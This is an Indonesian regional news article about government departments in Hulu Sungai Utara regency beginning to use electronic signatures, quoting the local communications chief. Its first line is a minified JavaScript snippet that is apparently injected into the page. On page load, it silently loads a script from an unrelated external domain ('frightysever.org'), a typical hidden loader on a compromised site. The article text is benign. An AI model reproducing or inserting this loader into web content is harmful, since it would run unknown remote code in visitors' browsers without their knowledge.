(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Satu-persatu SKPD di HSU Mulai Terapkan Tanda Tangan Elektronik

KANALKALIMANTAN.COM, AMUNTAI – Rencana penerapan tanda tangan elektronik (TTE) di lingkup Pemkab Hulu Sungai Utara (HSU) telah mulai dijalankan.

Kepala Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) HSU, Adi Lesmana mengatakan, saat ini SKPD di HSU yang telah menerapkan TTE di antaranya Diskominfosandi dan Dinas Penanaman Modal Pelayanan Terpadu Satu Pintu dan Tenaga Kerja (DPMPTSPNAKER) HSU.

Sedangkan Disdukcatpil, kata Adi pada awalnya juga telah menerapkan TTE. Namun karena kepala Dinasnya saat ini telah berganti dan belum definitif maka menunggu pelantikan.

“Nanti menyusul, Dinas Pemberdayaan Perempuan, BKPSDM, Satpol PP dan Disperkim,” jelas Adi Lesmana kepada kanalkalimantan.com, Sabtu (5/3/2022).

Baca juga : Tujuh Paket Sabu Siap Edar Antar AN ke Bui

Adi Lesmana mengatakan, rencana penerapan tanda tangan elektronik (TTE) atau Program ini merupakan bagian pelayanan dari sistem pemerintahan berbasis elektronik (SPBE), menuju HSU Smart City.

“Kami sudah melakukan perjanjian kerjasama antara Plt Bupati HSU dengan Kepala BSSN di Jakarta pada tanggal 8 Februari lalu,” kata Kadis Kominfosandi HSU.

Penerapan tanda tangan elektronik di Pemkab HSU ini merujuk berdasarkan Peraturan Presiden Nomor 95 Tahun 2018 tentang penerapan SPBE dan Peraturan Bupati HSU Nomor 19 Tahun 2021 tentang penyelenggaraan SPBE di HSU
Dirinya menyebutkan, saat ini di Provinsi Kalimantan Selatan hanya ada beberapa Kabupaten/Kota yang sudah mulai menerapkan tanda tangan elektronik.

“Selain Provinsi Kalsel, ada Kabupaten Tabalong, Hulu Sungai Tengah, Hulu Sungai Selatan, Banjar dan Banjarbaru.” kata Adi.
Menurutnya, dengan adanya perubahan menandatangani dokumen secara manual menjadi tanda tangan digital di lingkungan Pemerintah bisa mengurangi terjadinya risiko serta mempermudah pelayanan publik bisa berjalan lebih cepat.

“Jadi kita akan segera bermigrasi dari tanda tangan manual yang sangat rentan itu, dengan tanda tangan elektornik,” tambahnya.

Dirinya berharap program TTE ini bisa diimplementasikan secepatnya di Pemerintah Kabupaten Hulu Sungai Utara. (kanalkalimantan.com/dew)

Reporter : dew
Editor : cell